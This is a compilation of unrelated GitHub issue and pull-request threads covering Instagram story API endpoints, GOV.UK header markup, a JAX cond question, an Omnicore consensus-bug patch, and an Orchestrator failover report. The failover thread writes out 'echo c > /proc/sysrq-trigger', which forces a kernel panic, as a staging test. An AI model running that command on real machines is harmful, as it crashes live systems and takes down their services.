End pooints for Instagram "stories"

Hi,
Recently instagram introduce stories at feed timeline.
Can you please provide the End Points for the same.
Regards
Alok

@alokfuterox take charles debug proxy inspect traffic

The end point is 'feed/reels_tray/'.

Hi @inDream ,
I am using an old version of Instagram for android where I can listen to the SSL requests with Charles Proxy (on PC I did not).
When I get the stories 'feed/reels_tray/' not all users have items as you say.
One option is to make individual requests to each user at'feed/user/USER_ID/reel_media/'
But that is too heavy…
I found another option listening the app but I can not imitate it.
For that it is necessary to send a POST to 'feed/reels_media/' with all the ids (PKs) and this returns the items of all.
But I can not form the post correctly. I always get the message:
"Message": "Invalid user list"...
Any ideas? Thanks!

@EphramDoyle You can try to load multi users' stories with client/v1/feeds/user-story.js.


Update header navigation markup to follow govuk-frontend header conventions

What
Makes the following changes to the markup of the navigation on the design system website:

Combines the separate navs for mobile and desktop into one nav that changes state between screen sizes
Replaces the visual hidden Menu heading in the nav with an aria-label of "Menu"
Ensures that the mobile menu button is consuming the govuk-frontend header classes over custom app classes
Generally tidies up naming and redundant code

Why
Fixes https://github.com/alphagov/govuk-design-system/issues/2003
Broadly speaking this change is to ensure we are using conventions applied by the most recent update to the govuk-frontend header markup. It also applies some lessons learnt during the update to the gov.uk navigation header (see https://github.com/alphagov/govuk_publishing_components/pull/2223).
More details can be found in the description of each commit in this PR.
Tested against VoiceOver, NVDA and JAWS.
Visual changes
Only visual differences are on desktop, where the phase banner is now below the navigation instead of above.
Before

After

Just a note to say I like the move of the phase banner out of the middle of nav - something we did in our service last year

@36degrees Everything you raised should be addressed now.
The heading one is a bit of a bother as this was an attempt to ensure that our design system website header was using the same approach as our component header, however you're right that we're using headings as a means to curate our links within the website header so really we need some sort of encompassing heading structure. I'm not massively happy that the word "Menu" is getting  read out to screen reader users twice however it's more accessible than not having it there.
Anyway, please take another look and let me know what you think.

Great work on this @owenatgov 👏 It looks pretty good to me so far (I've tested the Heroku app, not looked over the code change yet).
I've just spotted one issue with maintaining the state of the navigation when resizing. Steps to reproduce:

On mobile screen size, click 'Menu' to open the dropdown navigation
Resize screen to desktop, navigation and menu should disappear as expected
Resize back down to mobile, the menu button displays with the triangle indicating it's in an open state (see screenshot below), but the navigation itself is still hidden

This isn't a huge issue as I don't think people will frequently be opening/closing menus and resizing windows, but it looks like this works on the live site, so it is a regression we should try and fix. I'm imagining there's probably a bit of JS that needs adding/amending somewhere..

This isn't a huge issue as I don't think people will frequently be opening/closing menus and resizing windows, but it looks like this works on the live site, so it is a regression we should try and fix. I'm imagining there's probably a bit of JS that needs adding/amending somewhere..

@vanitabarrett I think it could also possibly be triggered by going from portrait to landscape view?


New recipe to include linux_aarch64 and linux_ppc64 builds

Checklist

[x] Used a personal fork of the feedstock to propose changes
[x] Bumped the build number (if the version is unchanged)
[x] Reset the build number to 0 (if the version changed)
[x] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[x] Ensured the license file is being packaged.

Closing, since libta-lib is also necessary:
https://dev.azure.com/conda-forge/feedstock-builds/_build/results?buildId=790106&view=logs&j=696704cc-6fef-57a3-ea36-f27779b8cd5e&t=06421391-4b55-523d-a804-5e1a5bfc1908&l=123


Add persons to episode page

Deploy preview for spb-frontend processing.
Built with commit 50640b01b4fa1d038a20ca014b890ec264a39b8a
https://app.netlify.com/sites/spb-frontend/deploys/5ac0f6d448769b561b7121f1


New events: Sysdig - LLMjacking

Added new events from the research from Sysdig:
LLMjacking: Stolen Cloud Credentials Used in New AI Attack

thanks for updating! Just noticed that you have T1580 - Cloud Service Discovery for the new technique , but it should be T1580 - Cloud Infrastructure Discovery to be consistent with the other names and Mitre


docbook2x tarball (dated March 2007) suddenly changes hash

Citing nixpkgs://pkgs/tools/typesetting/docbook2x/default.nix:
  name = "docbook2X-0.8.8";
  src = fetchurl {
    url = "mirror://sourceforge/docbook2x/${name}.tar.gz";
    sha256 = "0ifwzk99rzjws0ixzimbvs83x6cxqk1xzmg84wa1p7bs6rypaxs0";
  };

..however:
building path(s) ‘/nix/store/0xs59grdbgz7z2ci2ff4yfwb6jha1qaa-docbook2X-0.8.8.tar.gz’
output path ‘/nix/store/0xs59grdbgz7z2ci2ff4yfwb6jha1qaa-docbook2X-0.8.8.tar.gz’ should have sha256 hash ‘0ifwzk99rzjws0ixzimbvs83x6cxqk1xzmg84wa1p7bs6rypaxs0’, instead has ‘08c84k8c3plqdrkp8346px3anhnjfi11pxxrn6l7h25mpj5lp2l1’
cannot build derivation ‘/nix/store/3jrig2dgq3cxklaiyh0cgdasah1lrrxn-docbook2X-0.8.8.drv’: 1 dependencies couldn't be built
building path(s) ‘/nix/store/gnr0mm334sq518a50hi8di5nlxr6z571-doctest-0.10.1.tar.gz’
cannot build derivation ‘/nix/store/nw6aswwvvd9dwff42zqh85il20wcgj4g-git-2.4.5.drv’: 1 dependencies couldn't be built
error: build of ‘/nix/store/nw6aswwvvd9dwff42zqh85il20wcgj4g-git-2.4.5.drv’ failed

Sourceforge was/is down and while the site will display a 404 message, it doesn't return a 404 response, so curl is downloading the webpage causing the hash mismatch.

It's weird, because I was able to download the binary through the web interface..

Closing.


visual allignment inconsistency on homepage

Current Behavior
The home page of Meshery Playground has some text centre aligned while some left aligned which makes the UI weird.
Desired Behavior
The paragraphs should also be centre-aligned like the headings.
Screenshots

Environment

Host OS: Linux
Platform: Docker or Kubernetes
Meshery Server Version: stable-v
Meshery Client Version: stable-v

Contributor Guides and Resources

🛠 Meshery Build & Release Strategy
📚 Instructions for contributing to documentation

Meshery documentation site and source

🎨 Wireframes and designs for Meshery UI in Figma
🙋🏾🙋🏼 Questions: Layer5 Discussion Forum and Layer5 Community Slack

Thanks, @avikt18 👍 Please have a look at the positioning of the sun/moon (light/dark) theme switcher, too.


Conditionally evaluate expression with aux or provide a dummy output

I have a function that I want to evaluate given a condition. The function returns a loss and extra (or aux in JAX world :)) or dummy values if the condition is not satisfied.
Basically, I’m trying to do something like:
counter = jnp.array(5)
result = jax.lax.cond(
    pred=counter >= 10,
    true_operand=(1., dict(a=3, b=4)),  # Extra can be unknown apriori.
    true_fun=lambda x: x,
    false_operand=(0., dict()),  # Dummy.
    false_fun=lambda x: x)

but this fails due to a check that the extra in false_operand doesn’t contain keys a and b. Is there any way I can disable this nested check?
I could of course specify the same structure, but I would like to be able to have different losses as true_fun's, or aggregate of multiple losses and combination of the corresponding extra values which can be difficult to know apriori.

The easiest solution is to try using regular Python control flow i.e., (if ...) instead of using lax.cond. This only works if you don't need to trace through the conditional evaluation (e.g., to stage it into a jit or pmap). In some applications, this works fine.
Also, if true_fun is cheap, you might consider just evaluating true_fun unconditionally and ignoring the value it produces in some cases?
If not, I think for now your best solution is to mimic the tree/array structure on both branches. This is somewhat fundamental, in that the output of cond must have a single, well-defined type irrespective of which branch is taken.
If we had a concept of sum types in JAX, it might help here, but we don't at the moment.
What do you think?

Thanks for the detailed reply! I went with the second option of always evaluating true_fun, but for the future it would defintely save compute to be able to just return dummy values in the false branch.


Fix promise test on node v6

Promises changed a bit in node v6, so they now produce a slightly different resulting call graph from async-listener.

Lgtm

Still a couple more things to fix. It's a work in progress. 😨


Automate state refresh on client version change when needed

Note: increment DB_VERSION definition along with changes that require repopulating databases (reparsing) to ensure clients only use a database compatible with their codebase.

That's very useful!
I'm wondering though, if the version might be included directly in the DB classes (either in the child class(es) like CMPTxList, or in the base class CDBBase). The check might also be done when opening the DB (e.g. CDBBase::Open()), and an auto-wipe could be triggered, if there is a version mismatch, or the version field is missing. The downside: I'm not really sure how to extract meaningful information about the initialization. Rephrased: we could probably auto-wipe on version mismatches, but then we still somehow need to signal to the rest of the program that it happened.

On the other hand, let's assume we'd wipe the CMPSPInfo DB before calling load_most_relevant_state(), then there won't be any watermark, and as result the state is also resetted. Feels a bit like a workaround though.
My primary hesitation right now is that I think it could be pretty error prone, if the version has to be set and compared manually. Say for example, when clearing via clear_all_state().

Thanks for the quick review!

My primary hesitation right now is that I think it could be pretty error prone, if the version has to be set and compared manually. Say for example, when clearing via clear_all_state().

Could you clarify mate what you mean by error prone if we compare manually?  When clear_all_state() clears the DBs it then writes the client current DB version into the cleared DBs.

Sorry, my connection is lost for some reason, probably due to maintanence.  I'm online for a moment via mobile.
In short: ACK, because I also don't see a better alternative at the moment, and the PR resolves the initial issue as intended.

Could you clarify mate what you mean by error prone if we compare manually?

I can't really find the right words - if the version check/set stuff happens implicitly, and doesn't need extra commands that one should be aware of.
From a higher level perspective:

it's fine to handle version checks during the initialization
it's not ideal that it is also necessary in other parts

Let's take a look for example at what happens, if fReindex is set: the DBs are wiped, but startClean isn't set, so setDBVersion() isn't called immediently, and the wrongDBVersion path not executed. At some point later, indirectly via clear_all_state(), the version is finally set though.
It has the same effect, and works nevertheless though, but it's not really intuitive imho.
Here is another idea, which is also not really intuitive, but maybe it provides you new ideas: currently the watermark block is stored with the key 'B'. What if we change that 'B' to `'C'? We'd solve the issue that explicit commands must be used to check the "version", but it's even less transparent.
I'll leave the PR open for another few hours, or a day, and if nothing new pops up, we'll merge. Deal? :)

@zathras-crypto: there is something fishy, and it took me some time to get down to it.
When I run the regtests with v0, shutdown and start clean, then:
2897 transactions processed, 1460 meta transactions found

$ ./src/omnicore-cli omni_getinfo
{
    "mastercoreversion" : "<IP_ADDRESS>-dev",
    "bitcoincoreversion" : "0.10.2",
    "commitinfo" : "5066b6f-dirty",
    "block" : 1040,
    "blocktime" :<PHONE_NUMBER>,
    "blocktransactions" : 1,
    "totaltrades" : 108,
    "totaltransactions" : 1313,
    "alert" : {
    }
}

When I then switch to v1, the reprocessing is triggered, however:
2897 transactions processed, 451 meta transactions found

$ ./src/omnicore-cli omni_getinfo
{
    "mastercoreversion" : "<IP_ADDRESS>-dev",
    "bitcoincoreversion" : "0.10.2",
    "commitinfo" : "5066b6f-dirty",
    "block" : 1040,
    "blocktime" :<PHONE_NUMBER>,
    "blocktransactions" : 1,
    "totaltrades" : 0, // <---
    "totaltransactions" : 1313,
    "alert" : {
    }
}

And worse, dumping balances gives also different results.
During the v0 -> v1 processing there are a lot of rejection messages in the log, and the interesting part, where both logs (v0, v1) start to differ:
v0:
CREATED FIXED PROPERTY id: 3
recordTX(d1863d60c521b26e714b0f378a515c15d9ced8cea5b1ffa6c91f30a740b7d15a, valid=YES, block= 144, type= 50, value=<PHONE_NUMBER>345589)

v1:
CREATED FIXED PROPERTY id: 49
recordTX(d1863d60c521b26e714b0f378a515c15d9ced8cea5b1ffa6c91f30a740b7d15a, valid=YES, block= 144, type= 50, value=<PHONE_NUMBER>345589)

See, what's going on? ;)

The issue is partially related to the order of initiailzations:
1. _my_sps = new CMPSPInfo(GetDataDir() / "MP_spinfo", fReindex);
2. bool wrongDBVersion = (p_txlistdb->getDBVersion() != DB_VERSION); // wrong due to upgrade
3. nWaterlineBlock = load_most_relevant_state();
4. nWaterlineBlock = -1; // due to wrong version
5. clear_all_state(); // due to waterline
6. msc_initial_scan(nWaterlineBlock);
7. ...

But the actual underlying issue is pretty deep and I'm very, very glad we found it.
CMPSPInfo is basically almost only a LevelDB with some query methods, and while it also holds the hardcoded for MSC/TMSC, there are two other class properties:
uint32_t next_spid;
uint32_t next_test_spid;

When we clear_all_state(), and as consequence _my_sps->Clear(), the database is wiped as intended, but those "next property identifier hints" are not resetted.

Thanks for all the great feedback dude, looks like you found quite a significant issue... Looking into it now - if we reset next_spid and next_test_spid on clear_all_state() does that resolve the issue?  Given you found these there are probably other variables that may need clearing within the clear_all_state() function...

Yes, this should do the trick, or alternatively something like:
diff --git a/src/omnicore/sp.cpp b/src/omnicore/sp.cpp
index 4c564f0..c91bc87 100644
--- a/src/omnicore/sp.cpp
+++ b/src/omnicore/sp.cpp
@@ -90,6 +90,14 @@ CMPSPInfo::~CMPSPInfo()
     if (msc_debug_persistence) PrintToLog("CMPSPInfo closed\n");
 }

+void CMPSPInfo::Clear()
+{
+    // wipe database via parent class
+    CDBBase::Clear();
+    // reset "next property identifiers"
+    init();
+}
+
 void CMPSPInfo::init(uint32_t nextSPID, uint32_t nextTestSPID)
 {
     next_spid = nextSPID;
diff --git a/src/omnicore/sp.h b/src/omnicore/sp.h
index a3c59d1..8dddeb8 100644
--- a/src/omnicore/sp.h
+++ b/src/omnicore/sp.h
@@ -139,6 +139,8 @@ private:
 public:
     CMPSPInfo(const boost::filesystem::path& path, bool fWipe);
     virtual ~CMPSPInfo();
+    /** Extends clearing of CDBBase. */
+    void Clear();

     void init(uint32_t nextSPID = 0x3UL, uint32_t nextTestSPID = TEST_ECO_PROPERTY_1);

This issue is pretty bad, and it completely shreds the whole consensus apart, because all property identifiers are shifted, if this happens (potentially anytime when clear_all_state() is called).
We have reorg tests (where the state is cleared more than once), and in one of the tests the property identifiers are also checked, to guard against something like this..
So how comes, we never ever had any issues? Because the state of the last 50 blocks is persisted, and when restored, the "next identifiers" are also updated.
In practise this means: reorgs with more than 50 blocks are devastating for unpatched versions, which is fortunally very rare to nearly impossible. On the other hand, the fork in March 2013 caused a 24 block deep reorganization, so this is definitely nothing that should be hand waived.

I like the patch, that's a better way to come at the problem...

In practise this means: reorgs with more than 50 blocks are devastating for unpatched versions

So you mean if there was a reorg with more than 50 blocks (yikes, but feasible) there would be no state to load, so clear_all_state() would be called, but the next_spid & next_test_spid values would not have been reset, so all property ID's would be out?
Yeah - that would 'shred' consensus to pieces !!!  Ouch...

it's not ideal that it is also necessary in other parts

I agree, but clearing the state happens in other parts, which means we inherently have to rewrite the version.  That is unless of course we don't store the version as part of the state and store it elsewhere, but that kind of defeats the purpose (having a state version tied to client version).

So you mean ...

Yeah, I think so, hehe. Here is a small test, which can be run quickly from the console:

set regtest=1 in your bitcoin.conf
clear/rm ~/.bitcoin/regtest
start omnicored or omnicore-qt
paste/execute the following lines in the console (the paths may need to be adjusted):

./src/omnicore-cli setgenerate true 101
ADDR=$(./src/omnicore-cli getnewaddress)
./src/omnicore-cli sendtoaddress $ADDR 1.0
./src/omnicore-cli setgenerate true 60
./src/omnicore-cli omni_sendissuancemanaged $ADDR 1 1 0 "" "" "Expected ID: 3" "" ""
./src/omnicore-cli omni_sendissuancemanaged $ADDR 1 1 0 "" "" "Expected ID: 4" "" ""
./src/omnicore-cli omni_sendissuancemanaged $ADDR 1 1 0 "" "" "Expected ID: 5" "" ""
./src/omnicore-cli setgenerate true 1
./src/omnicore-cli omni_listproperties
BLOCK=$(./src/omnicore-cli getblockhash 105)
./src/omnicore-cli invalidateblock $BLOCK
./src/omnicore-cli clearmempool
./src/omnicore-cli setgenerate true 1
./src/omnicore-cli omni_listproperties
./src/omnicore-cli omni_sendissuancemanaged $ADDR 1 1 0 "" "" "Expected ID: 3 (not 6)" "" ""
./src/omnicore-cli omni_sendissuancemanaged $ADDR 1 1 0 "" "" "Expected ID: 4 (not 7)" "" ""
./src/omnicore-cli omni_sendissuancemanaged $ADDR 1 1 0 "" "" "Expected ID: 5 (not 8)" "" ""
./src/omnicore-cli setgenerate true 1
./src/omnicore-cli omni_listproperties

I agree, but clearing the state happens in other parts, which means we inherently have to rewrite the version. That is unless of course we don't store the version as part of the state and store it elsewhere, but that kind of defeats the purpose (having a state version tied to client version).

Well, I agree with the current proposal, this is currently a somewhat good solution, and it's a great improvement, which ultimately lead to my approval of this PR.
But where I was going was something similar like the issue with the next property identifiers now showed: unless one knows that the version has to be set after clearing the DB (or related), or notices it, it's not intuitive, and it can easily be overlooked.
In this case (the version setting) it's absolutely harmless, and I also don't see a better alternative, but you probably see what I mean?

unless one knows that the version has to be set after clearing the DB (or related), or notices it, it's not intuitive, and it can easily be overlooked.

Yeah, I see your point - but for clarity that's why I wanted setting the version within the clear_all_state() function, because that should be our 'go to' for resetting the state.
Ideally we would never manually clear a DB (especially individually) and we would use a single central function to wipe state & history - that's what I thought clear_all_state() was for :)
Long story short, I think we should have only one place to "clear the state", and that same place should be responsible for writing out the version to a new/fresh state.

But where I was going was something similar like the issue with the next property identifiers now showed

Yeah this is a fantastic catch (thanks!!!!!), but I don't see it as a problem with the state version methodology.  I just see it as a more of a generic problem that clear_all_state() doesn't do a good enough job of clearing the state (because it leaves variables around uncleared from the previous state)

Well, I agree with the current proposal, this is currently a somewhat good solution, and it's a great improvement, which ultimately lead to my approval of this PR.

Thanks :)  I'm open to better ways to do it though of course :)

but for clarity that's why I wanted setting the version within ... because that should be our 'go to' for resetting the state. ... Ideally we would never manually clear a DB

Yeah, that's a very good point, I'm convinced. :)
I quickly went through the other DBs and they are solely DBs with methods, so the clearing is covered. The only other maybe relevant globals I've seen so far are caches.
I suggest you include the fix for CMPSPInfo, and we consider the PR is final? Primarily it should tackle the DB version, which it does, and potentially optimizing other parts could be done separately, if needed.

Yeah, I think so, hehe. Here is a small test

Oh dude, that is just heinous - great find - I wonder if there is anything else clear_all_state() should be clearing but is not...  I'll have a nose around...
Without patch:
[
    {
        "propertyid" : 1,
        "name" : "MasterCoin",
        "category" : "N/A",
        "subcategory" : "N/A",
        "data" : "***data***",
        "url" : "www.mastercoin.org",
        "divisible" : true
    },
    {
        "propertyid" : 2,
        "name" : "Test MasterCoin",
        "category" : "N/A",
        "subcategory" : "N/A",
        "data" : "***data***",
        "url" : "www.mastercoin.org",
        "divisible" : true
    },
    {
        "propertyid" : 6,
        "name" : "Expected ID: 3 (not 6)",
        "category" : "",
        "subcategory" : "",
        "data" : "",
        "url" : "",
        "divisible" : false
    },
    {
        "propertyid" : 7,
        "name" : "Expected ID: 4 (not 7)",
        "category" : "",
        "subcategory" : "",
        "data" : "",
        "url" : "",
        "divisible" : false
    },
    {
        "propertyid" : 8,
        "name" : "Expected ID: 5 (not 8)",
        "category" : "",
        "subcategory" : "",
        "data" : "",
        "url" : "",
        "divisible" : false
    }
]

With patch:
[
    {
        "propertyid" : 1,
        "name" : "MasterCoin",
        "category" : "N/A",
        "subcategory" : "N/A",
        "data" : "***data***",
        "url" : "www.mastercoin.org",
        "divisible" : true
    },
    {
        "propertyid" : 2,
        "name" : "Test MasterCoin",
        "category" : "N/A",
        "subcategory" : "N/A",
        "data" : "***data***",
        "url" : "www.mastercoin.org",
        "divisible" : true
    },
    {
        "propertyid" : 3,
        "name" : "Expected ID: 3 (not 6)",
        "category" : "",
        "subcategory" : "",
        "data" : "",
        "url" : "",
        "divisible" : false
    },
    {
        "propertyid" : 4,
        "name" : "Expected ID: 4 (not 7)",
        "category" : "",
        "subcategory" : "",
        "data" : "",
        "url" : "",
        "divisible" : false
    },
    {
        "propertyid" : 5,
        "name" : "Expected ID: 5 (not 8)",
        "category" : "",
        "subcategory" : "",
        "data" : "",
        "url" : "",
        "divisible" : false
    }
]

I suggest you include the fix for CMPSPInfo, and we consider the PR is final? Primarily it should tackle the DB version, which it does, and potentially optimizing other parts could be done separately, if needed.

Yep, patch is in :)

I quickly went through the other DBs and they are solely DBs with methods, so the clearing is covered. The only other maybe relevant globals I've seen so far are caches.

Awesome thanks - even caches should be cleared (I kind of err on the side of caution and think "clean everything" hehe) but that's not relevant to this PR, I can open another one to address clearing leftover data in clear_all_state().

I kind of err on the side of caution and think "clean everything" hehe) but that's not relevant to this PR, I can open another one to address clearing leftover data in clear_all_state()

Yeah, sure! Haha, please tell me, if I'm too niggling!  :) I mentioned it, because I had the contributions guidelines in mind, which are currently WIP, and these two points may apply here:

unrelated changes should be split into more than one submission (that's pretty straight forward I think)

maintainers should not ask for improvements that are not directly related to the PR (i.e. user intended to fix a type, we request for a full blown refactor ... pretty annoying probably)


Use real install time

Will fall back to the first seen time (formerly, the install time) if the package manager throws.

The test fails, but I think that's be-

Closing to submit a better formed PR.


[Bug] [Api] There is a bug in the import workflow function

Search before asking

[X] I had searched in the issues and found no similar issues.

What happened
When importing a workflow that contains a condition task, there is a problem with the condition task definition

What you expected to happen
import workflow successful and condition  task definition is correct
How to reproduce

Build a workflow with condition tasks
Export this workflow
Import this workflow
there is a condition task definition problem with the newly imported workflow

Anything else
No response
Version
3.2.x
Are you willing to submit PR?

[X] Yes I am willing to submit a PR!

Code of Conduct

[X] I agree to follow this project's Code of Conduct

When importing a workflow, we should modify the conditon task definition, update the check conditions and the success and failure branch taskcode


Broken Link in the standardization section.

https://github.com/Sairyss/backend-best-practices?tab=readme-ov-file#standardization
The article link in the 'Read More' section for this standardization appears to be broken or no longer exists
https://www.gonitro.com/blog/6-reasons-standardizing-software-essential

I replaced it with a different article, thanks.


Review SecurityHeaaders.io suggestions

Another suggestion for improvement, there are more security headers that can be enabled to block external attacks, see site linked below (site by @scott_helme).
https://securityheaders.io/?q=https%3A%2F%2Fwww.rempe.us%2Fdiceware%2F%23diceware&hide=on
Enabled (good):
Strict-Transport-Security
X-Content-Type-Options
Review suggestions:
Content-Security-Policy
X-Frame-Options
X-XSS-Protection
Handle with caution:
Public-Key-Pins

Thanks for the feedback. I've used that site before and I make use of those security enhancements where I can.
In this case, since all of www.rempe.us is served as a static site through github pages (and then through the fast.ly and cloudflare) CDN) I do not have the same level of control over headers as I would if I were self hosting with an HTTP server I fully configure.
You can learn more about my site and its setup here.
https://www.rempe.us/about/
I have a number of strong security measures in place (HSTS, HTTPS, Sub Resource Integrity Hashes, etc). If you feel you need more I would suggest cloning the repo and running it offline.
Thank you


add alexnet weights for ecoset

add TF weights for a alexnet model trained on ecoset https://codeocean.com/capsule/9570390/tree/v1

Can we close that or is this still an open issue?

I believe this is resolved


Bumped up default version of Confluent Platform to the current 5.2.1 (Kafka container)

Bumped up default version of Confluent Platform to the current 5.2.1 (Kafka container)

As it's a major version bump, are there any changes that could be considered breaking for our users?

@rnorth according to the existing KafkaContainerTest.java, there should be no changes that would directly affect existing users. Test has been executed and green.

I reverted the ZK change to verify that the change is backward compatible with external ZK

@wlsc merged, thanks! 👍


Refactor camera_qcom: use different classes for rear and front cameras

ready for review.we can do further refactoring base on this PR.


Merge my project into puppet-walnut

merge my project into puppet-walnut

Please only commit the related files.
If you don't know the file, please do not delete them without any reason.


No failover attempted when kernel panic on master

Hello,
I've setup Orchestrator of version 3.0.10 onto 3 mysql nodes with Pseudo GTID. Mysql version is 5.6.39-83.1 and it failovers as expected when stopping mysql service gracefully on the master to simulate failover.
But when trying more harsh approach and doing kernel panic on the master, failover is failing to proceed.
Configuration before failover:
orchestrator-client -c topology -alias percona-repl
percona-repl-stage-ce-nt-0:3306 [0s,ok,5.6.39-83.1-log,rw,STATEMENT,>>,P-GTID]
+ percona-repl-stage-ce-nt-1:3306 [0s,ok,5.6.39-83.1-log,ro,STATEMENT,>>,P-GTID]
+ percona-repl-stage-ce-nt-2:3306 [0s,ok,5.6.39-83.1-log,ro,STATEMENT,>>,P-GTID]

Simulating kernel panic with:
echo c > /proc/sysrq-trigger
Configuration after:
orchestrator-client -c topology -alias percona-repl
percona-repl-stage-ce-nt-0:3306 [unknown,invalid,5.6.39-83.1-log,rw,STATEMENT,>>,P-GTID]
+ percona-repl-stage-ce-nt-1:3306 [0s,ok,5.6.39-83.1-log,ro,STATEMENT,>>,P-GTID]
+ percona-repl-stage-ce-nt-2:3306 [0s,ok,5.6.39-83.1-log,ro,STATEMENT,>>,P-GTID]

Logs output:
/var/log/orchestrator.log
2018-06-01 09:52:10 ERROR ReadTopologyInstance(percona-repl-stage-ce-nt-0:3306): dial tcp 10.x.x.x:3306: i/o timeout
2018-06-01 09:52:10 INFO executeCheckAndRecoverFunction: proceeding with UnreachableMaster detection on percona-repl-stage-ce-nt-0:3306; isActionable?: false; skipProcesses: false
2018-06-01 09:52:10 INFO auditType:emergently-read-topology-instance instance:percona-repl-stage-ce-nt-0:3306 cluster:percona-repl-stage-ce-nt-0:3306 message:UnreachableMaster
2018-06-01 09:52:10 INFO checkAndExecuteFailureDetectionProcesses: could not register UnreachableMaster detection on percona-repl-stage-ce-nt-0:3306
2018-06-01 09:52:10 INFO executeCheckAndRecoverFunction: proceeding with UnreachableMaster recovery on percona-repl-stage-ce-nt-0:3306; isRecoverable?: false; skipProcesses: false
2018-06-01 09:52:10 INFO auditType:emergently-read-topology-instance instance:percona-repl-stage-ce-nt-2:3306 cluster:percona-repl-stage-ce-nt-0:3306 message:UnreachableMaster
2018-06-01 09:52:10 INFO auditType:emergently-read-topology-instance instance:percona-repl-stage-ce-nt-1:3306 cluster:percona-repl-stage-ce-nt-0:3306 message:UnreachableMaster
2018-06-01 09:52:11 INFO executeCheckAndRecoverFunction: proceeding with UnreachableMaster detection on percona-repl-stage-ce-nt-0:3306; isActionable?: false; skipProcesses: false
2018-06-01 09:52:11 INFO checkAndExecuteFailureDetectionProcesses: could not register UnreachableMaster detection on percona-repl-stage-ce-nt-0:3306
2018-06-01 09:52:11 INFO executeCheckAndRecoverFunction: proceeding with UnreachableMaster recovery on percona-repl-stage-ce-nt-0:3306; isRecoverable?: false; skipProcesses: false
/var/log/orchestrator-recovery.log
Detected UnreachableMaster on percona-repl-stage-ce-nt-0:3306. Affected replicas: 2
It seems like Orchestrator correctly identified failed master but since slaves "think" they are still replicating from the master failover dosen't happen.

It seems like Orchestrator correctly identified failed master but since slaves "think" they are still replicating from the master failover dosen't happen.

Exactly so. Your replicas don't seem to appreciate the fact the master is gone. I advise setting slave_net_timeout = 4, which implies a MASTER_HEARTBEAT_PERIOD = 2 or likewise short number (see https://speakerdeck.com/shlominoach/orchestrator-high-availability-tutorial#27).
This will make your replicas recognize master failure faster, and regardless of TCP drops, rejects or hangs.
I believe this will solve the case your'e describing.
orchestrator will only failover when it sees that the replicas are in agreement that the master is dead.

Works like a charm
Thank you


Improve search accessibility and make minor style updates

The changes resolve some TODOs for the search field and improve accessibility.
The updates regard:

Persistent/sticky search input field
Keyboard navigation fixes
Closing the search with esc
Alignment in small viewports

I made a short screencast, hoping it will help as a quick and convenient way to present go over the changes.
https://github.com/techniq/svelte-ux/assets/34311583/4768e47d-2a4a-4cdf-9deb-241f48e53884

This is a great improvement, thanks @ttytm.
I do wonder if the dialog should be taller, particularly on larger viewport, but even iPhone size feels like it could use a little more height...

When I played around with responsive, it didn't feel like the min of 90dvh was kicking in (max-h-[min(90dvh,380px)])

I mostly mention this if we decide to make the results/options taller than 380px as this might cause an issue on smaller viewports not resizing below (but I could be overlooking something).
I'm going to go ahead and merge this as it is much better than it is now.  Thanks again!

Thank you for the review work!
Yeah the height is debatable. The driving factor was limiting the number of simultaneously presented result to make it easier to process for the viewers brain.
If there would be a description or other elements that give the single results more height I would have chosen a larger height already.
E.g., as a reference for other searches and the number of search results that provide at the same time the quick-search at the following sites: https://ui.shadcn.com, https://ui.shadcn.com, https://tailwindcss.com or just doing a regular bing / goolge search.
Ultimately, I think it will remain a matter of preference, which is hard to argue, and I don't have a strong preference here either. So please update it to whatever fits best!

@ttytm thanks for the explanation, I agree 😁.  I would like to pull all the meta data from the +page.ts files (including descriptions) for quick search at some point.  I know some sites use Algolia to index the context, but figure it's possible to walk/parse each of these files.
I do see some of the implementations center the search dialogs (shadcn, SvelteKit), but then the search input can jump for no results (shadcn), although SvelteKit's does not jump.  I think having it near the top is best, especially without having to solve the jumping issue (put it in a container) and is where it would be located on mobile anyways, just an observation.
I think what we have is great, and hopefully improve the display with descriptions and maybe some icons to better visual indications of each time (I like to think of icons as bullet points) over time.
Here's a few screenshots for later reference:

Thanks again!

Nice observations. I also liked the version close to the top better than the centered-"jumping" variant in shadcn (had it in there for a while before submitting the PR 🤓). Also agreed that it's great already and we can continue improving things step by step.


[MNOE-558] Filter out rejected comments from feedbacks

@ouranos This should take care of the issue regarding rejected comments being included in the response when fetching reviews. Please review.

@alexnoox @adamaziz15 FYI
I've ported maestrano/mno-enterprise-angular#151 in the backend and updated the specs.

@ouranos The filter in https://github.com/maestrano/mno-enterprise-angular/pull/151 should then be removed.

@alexnoox Yeah I'll remove it in v2 to avoid any regressions if the backend is not up to date.


Experimental: Add ARM64 support when targeting .NET Framework

The CI pipelines don't run tests on ARM64 + .NET Framework and I'm having a hard time getting an ARM64 Windows VM to build + run MDS tests from the command line with VS 2022 Preview 6 installed.
 Doing that identified a bug in the build options of the ARM SNI binaries that resulted in asserts popping up even when using the release binaries. That will be addressed separately in a future SNI release.
Consider this "feature" experimental, for now.

Nice! When can I expect this to show up in MDS3.x? Pretty please... :)


docs: add information about parting semantic logic to README.md

Solves comments from https://github.com/sqlparser-rs/sqlparser-rs/issues/668.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 86.277%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
11807

Relevant Lines:
13685

💛  - Coveralls


UX improvements - May 2015

Results Page

[ ] Show the URL of the data file and the schema file somewhere prominent and easily copyable - why: i may have got to this page by sharing and not know the source files
[ ] link datapipes link for data file so people can view it (or maybe even iframe in but hide - and have preview button next to data file link)
[ ] preview of json schema (inline into a textarea on the page) - this allows people to understand how it works

Posted a detailed annotated image of the results page image at: https://www.marqueed.com/collections/176586/images/827337/

@rgrp thanks. this is tightly related to issue #42. Most of the UX issues you've noted stem from the fact that these errors all come out of the header, and not a "data row" as such, and the post-processing I do on the raw result set when I group for display in a table.

For reference, here is a better example, as it shows that the result set presentation is generally fine, except in the case of errors in headers:
http://goodtables.okfnlabs.org/reports?data_url=https%3A%2F%2Fwww.gov.uk%2Fgovernment%2Fuploads%2Fsystem%2Fuploads%2Fattachment_data%2Ffile%2F397571%2Fdwp-senior-post-data-sep-2014.csv&format=csv&encoding=&schema_url=https%3A%2F%2Fgithub.com%2Fdatagovuk%2Fschemas%2Fraw%2Fmaster%2Forganogram%2Forganogram-senior-staff-csv-schema.json

@pwalsh thanks - also added two new items here re showing links to data and schema files.
